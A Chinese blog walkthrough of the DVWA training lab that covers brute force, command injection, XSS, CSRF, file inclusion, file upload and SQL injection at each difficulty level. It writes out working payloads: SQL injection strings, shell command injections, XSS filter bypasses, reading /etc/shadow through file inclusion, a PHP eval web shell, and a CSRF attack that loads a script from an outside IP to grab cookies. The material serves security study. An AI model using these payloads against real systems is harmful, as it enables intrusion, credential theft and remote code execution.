今天发一下硬盘格式化抢救回来的对于DVWA靶场的渗透记录,基本是可以作为web安全入门的参考资料了,大家一起分享~
Bruteforce
Low
1 | <?php |
发现对Login和pass参数未进行任何严格的检查与过滤,也没有设置防爆破机制
因为可以通过sql注入和爆破来进行强制登录
先利用Sql注入进行登录
1 | admin' or '1'='1 |
第一种情况将验证语句篡改为了user=’admin’ or ‘1’=’1’ and password = ‘$pass’;,因此不管密码为什么,整个语句的值恒为True,与下图原理类似
第二种直接将后面的and password = ‘$pass’;注释掉了,user=admin为True,因此表达式为True
爆破密码进行登录
抓包得到数据,右键send to the Intruder(爆破板块)
设置password 的值为爆破点,payload里加载密码字典
(这里要说明一下,爆破的原理还是穷举法,因此要不断积累自己的字典,理论上来讲,只要字典足够大,密码一定会被破开;同样,密码强度如果足够强,可以很大程度的保证自己的密码不被爆破破解)
加载字典完成后可以在option里更改爆破进程数
以上工作做好后点击Start attack 开始爆破
密码爆破的特征是正确密码的返回长度与错误密码不一样,这里很容易发现password为正确密码
验证成功,密码为password
Medium
1 | <?php |
很明显发现多了mysqli_real_escape_string这个函数,让我们来看一下这个函数的作用
也就是说将我们sql注入中的许多常用字符都给过滤掉了,这样基本杜绝了sql注入(相信一切输入都是有害的)
但是我们发现代码并没有加上严格的防爆破机制,因为爆破密码仍然有效,爆破方法与刚才相同,不再赘述。
High
1 | <?php |
我们发现在high等级的防护上加入了CSRF-token机制
CSRF-token机制:在访问页面时,服务器会在给本地浏览器一个token随机数,用户输入账号密码点击提交时,token会与user与password一同在服务器端进行验证,如果token不对,直接拒绝服务
因为每次的token是不同的,因为理论上这样似乎是能够防御爆破的,但是实际上,如果我们能够获取到在每次登陆界面的token值,我们就仍然可以进行爆破
我们观察发现,在login.php界面,token被放在了这样一个form表单里
token值的前面是 value=‘
token值的后面是 ' /></form>
我们可以通过burpsuite的正则过滤来匹配这个特征,从而得到token值,下面进行操作
首先,抓包并send to Intruder
更改Attack type为Pitchfork,并标记password和user_token为两个爆破点
(Pitchfork:草叉模式,对不同参数设置不用的payload)
在option里,更改线程为1(Pitchfork不支持多线程爆破),点击Grep-Extract的Add,添加我们要匹配的模式
点击OK后,将option页面最下面的Redirections改为Always(保证每次使用的user_token为最新的)
在Payloads页面中设置两个爆破点的payload
注意参数2的payload type 为Recursive grep
上述操作全部完成后,Start attack
因为为单线程,所以速度可能有点慢
爆破成功,得到密码为password
High 除了通过burpsuite抓token,使用python也可以,主要利用requests和正则表达式,附代码
1 | import requests |
Impossible
1 | <?php |
在impossible级别里加入了防爆破机制,如果短时间内错误次数过多,将锁定账户,直接了当的解决了爆破问题
Command Injection
Low
1 | <?php |
审计代码发现,ip参数没有经过任何过滤,可以通过&来进行多命令注入
1 | 127.0.0.1&&net user(windows与linux) |
Medium
1 | <?php |
可以看到中级过滤掉了一次&&和;但是&并没有过滤,同样我们可以通过&;&来构造多命令注入
A&&B:A执行成功后执行B,否则不执行B;
A&B:先执行A后执行B,不管执行成功与否;
1 | 127.0.0.1&ifconfig |
High
1 | <?php |
这次过滤了更多的参数,但我们发现过滤的是’| ‘而不是’|’,因此可以通过|来构造多命令注入
A|B:管道符,将A的输出作为B的输入,并且只打印B的结果。
1 | 127.0.0.1/ls /etc |
Impossible
1 | <?php |
严格限制为输入类型为 number.number.number.number
无法执行命令注入
XSS
Reflect
Low
1 | <?php |
对输入没有任何过滤,可以直接注入
1 | <script>alert(1)</script> |
Medium
1 | <?php |
meidum利用str_replace进行替换,但可以双写或者大小写绕过
1 | <scr<script>ipt>alert(1)</script> |
High
1 | <?php |
经过正则过滤,多少<script>都会被过滤掉,但可以利用标签属性来
1 | <img src=1 onerror=alert(1)> |
Impossible
1 | <?php |
Impossible使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML,无法执行xss
Stored
Low
1 | <?php |
长度有限制,但可以抓包修改
1 | <script>alert(2)</script> |
Medium
1 | <?php |
只是单纯的过滤了<script>,可以通过双写和大小写绕过
1 | <scr<script>ipt>alert(1)</script> |
High
1 | <?php |
正则过滤<script>,多少个都没有用,但是可以通过其他标签进行注入
1 | <img src=1 onerror=alert(1)> |
Impossible
1 | <?php |
对特殊符号进行了html转义,基本无法进行注入
DOM
Low
1 | <?php |
没有经过任何过滤,可以直接注入
1 | 127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script> |
Medium
1 | <?php |
过滤了<script>,但我们可以借助其他标签
1 | 127.0.0.1/dvwa/vulnerabilities/xss_d/?default= ></option></select><img src=1 onerror=alert(1)> |
High
1 | <?php |
只能从三种语言选一种,暂时不太好注入
Impossible
1 | <?php |
CSRF
Low
1 | <?php |
代码审计可以发现,没有任何防csrf的机制,
1 | http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change# |
在服务器端身份验证信息(cookie)未过期时,可以通过CSRF漏洞来更改登录密码,
方法一:直接点击上述网址,密码更改成功,但URL参数会暴露密码被修改,用户容易发现密码被篡改
方法二:对构造的URL进行百度短链接操作,达到一定的隐藏效果(注意需要域名才能伪造,ip链接无法伪造)
方法三:自行构造攻击界面
1 | <!DOCTYPE html> |
Medium
1 | <?php |
medium级别加入了验证
stripos(string a,string b):查询a字符串中是否有b,有则返回位置,没有返回false
中级过滤检查HTTP_REFERER (referer)是否含有SERVER_NAME(host)
此处可以将攻击界面命名为ip(host对应).html,将攻击界面一台服务器上,这样referer中就会含有host的ip
此时我们的Referer中确实含有host的ip地址,所以攻击成功,密码为改为hello
High
1 | <?php |
代码审计可知,high级别加入了token验证机制,每次提交会先检查token,token如果不对将直接拒绝修改密码,因为我们要想办法获取到token,因为涉及到跨域的问题,因此我们需要借助DOM XSS漏洞
在攻击者的服务器上放置xss.js
1 | alert(document.cookie); |
在DOM XSS界面访问如下界面,即可修改密码为hello
1 | http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English#<script src="http://35.194.165.4/Webtest/DVWA/xss.js"></script> |
Impossible
1 | <?php |
Impossible利用PDO来控制sql注入,修改密码时要求输入原密码,因此无论如何,若不知道之前的密码,怎么都无法修改密码
File Inclusion
1 | 文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。 |
Low
1 | <?php |
可以看到page参数没有经过任何过滤,可以读取任意文件
本地文件包含
1 | http://127.0.0.1/dvwa/vulnerabilities/fi/?page=/etc/shadow #读取shadow文件 |
php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别
远程文件包含
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。
在服务器端写入文件phpinfo.txt,内容为<?php phpinfo();>
下面进行远程文件包含
1 | http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://服务器ip/phpinfo.txt |
可以对page参数进行url编码隐藏
Medium
1 | <?php |
代码审计可知,medium将http://、https:// 、../、..\替换为空,但我们仍然可以进行双写绕过(只影响相对路径,绝对路径不受影响)
1 | http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././1.txt |
远程文件包含
1 | http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://服务器ip/phpinfo.txt |
High
1 | <?php |
fnmatch按照指定的模式来匹配文件名或字符串,这里要求page参数的开头必须是file,但我们可以通过file协议绕过
1 | http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///C:\Users\Administrator\Desktop\password.txt |
Impossible
1 | <?php |
限定了只能够访问file1.php、file2.php、file3.php,基本防御了文件包含漏洞
File upload
Low
1 | <?php |
可以看到low级别的代码没有进行任何过滤,可以直接上传一句话木马
一句话木马如下shell.php,内容如下
1 | <?php @eval($_POST['shell']);?> |
上传成功并且知道路径,可以直接菜刀连接获得shell
Medium
1 | <?php |
medium级别限制了上传文件大小和文件类型,文件大小没有问题(一句话木马就一句话),关于文件类型有以下方式绕过
(1)抓包更改文件后缀
令我们一句话木马文件为shell.php.jpg
将shell.php.png改为shell.php,发送数据,文件上传成功,连接菜刀getshell
(2)利用文件包含漏洞解析文件上传图片
将shell.php保存在shell.png,上传成功
利用蚁剑,先登录网站保存cookie,然后利用文件包含漏洞把png解析为php,链接如下
1 | http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpStudy\WWW\DVWA\hackable\uploads\shell.png |
蚁剑连接getshell
High
1 | <?php |
代码审计可知,high级别的代码进行了文件头检测,但我们可以通过图片一句话绕过
准备1.php和1.jpg,Dos界面执行如下命令
1 | copy 1.jpg/b+1.php/a shell.jpg |
一句话木马制作成功,上传成功
同样利用文件包含漏洞进行解析
1 | http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:\phpStudy\WWW\DVWA\hackable\uploads\shell.jpg |
成功getshell
Impossible
1 | <?php |
SQL Injection
1 | 1.判断是否存在注入,注入是字符型还是数字型 |
Low
1 | <?php |
Low级别没有进行任何的过滤与防御,可以直接进行SQL注入
(1)判断是否存在注入及判断注入类型
1 | 1 可以显示 |
说明存在字符型注入
(2)判断字段数
1 | 1' order by 10# #报错 |
说明存在两个字段
(3)判断显示的字段顺序
1 | 1' union select 1,2 # #测试显位情况 |
(4)猜数据库名
1 | 1' union select 1,database() # #猜数据库名 |
数据库名为dvwa
(5)猜表名
1 | 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' # |
得到数据库名为user和guestbook
(6)猜列名
1 | 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # |
得到列名
(7)下载数据
1 | 1' union select user,password from users # |
得到用户名和密码
Medium
1 | <?php |
利用mysqli_real_escape_string转义了常用的注入字符,同时用下拉菜单输入控制长度为1,
但可以通过抓包更改
(1)判断是否存在注入及注入类型
1 | 1 #正常显示 |
说明存在数字型注入,因此mysqli_real_escape_string的转义就没有用处了
(2)判断字段数
1 | 1 order by 10# #报错 |
说明存在两个字段
(3)判断字段显示顺序
1 | 1 union select 1,2 # |
(4)猜数据库名
1 | 1 union select 1,database()# |
数据库名为dvwa
(5)猜表名
1 | 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # |
(6)猜列名
1 | 1 union select 1,group(column_name) from information_schema.columns where table_name='users'# #失败,因为'被过滤掉了 |
(7)下载数据
1 | 1 union select user,password from users # |
High
1 | <?php |
审计代码可知,High等级将id的长度限制到了1,但我们可以通过#将其注释掉使其不起作用,注入过程如下:
(1)判断是否存在注入点,判断注入类型
1 | 1# #正常显示 |
存在字符型注入
(2)判断字段数
1 | 1’ order by 1# #正常显示 |
证明字段数为2
(3)判断字段显示顺序
1 | 1'union select 1,2# |
(4)判断数据库名
1 | 1' union select 1,database()# |
(5)判断表名
1 | 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' # |
(6) 判断列名
1 | 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # |
(7)下载数据
1 | 1' union select user,password from users# |
Impossible
1 | <?php |
POD实现了代码与数据分离,无法SQL注入
SQL Injection(Blind)
盲注分为基于布尔的盲注,基于时间的盲注和基于报错的盲注,盲注同样是因为输入的语句未经规范和过滤,造成了原有的sql语句结构改变,但不同与sql injection的是,盲注漏洞只能返回yes /no。
1 | 1.判断是否存在注入,注入是字符型还是数字型 |
Low
1 | <?php |
审计可知,Low等级对输入没有做任何过滤,可以直接注入
(以下yes代表返回为User ID exists in the database,no代表User ID is MISSING from the database)
基于布尔的盲注
(1)判断注入点及注入类型
1 | 1 #yes |
证明存在字符型注入
(2)猜数据库长度
1 | 1' and length(database())=1 # #no |
证明数据库长度为4
(3)猜数据库名(一个字母一个字母的来)
二分法(推荐)或遍历
最好利用python写脚本实现
下列只展示yes过程
1 | 遍历法 |
(4)猜表
猜数量
猜第1n个表名长度+猜第1n个表名
(5)猜列
猜列数
猜1~n个列名长度+猜列名
基于时间的盲注
(1)判断注入是否存在及注入类型
1 | 1' and sleep(5)# #有明显延迟 |
(2)猜数据库名长度
猜数据库名
(3)猜表数
猜1~n表名长度和表名
(4)猜列数
猜1~n列名长度和列名
Medium
1 | <?php |
限制了输入为下拉框,但可以通过抓包改参,因为是数字型注入,所以mysqli_real_escape_string没有用了
High
1 | <?php |
企图限制长度为1,可以通过#给注释掉,同sql 注入
Impossible
1 | <?php |
附SQL Injection(blind)基于布尔盲注的脚本(python)(瞎写的,不足请指正)
1 | import requests |
本文链接: https://yd0ng.github.io/2020/01/04/DVWA/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!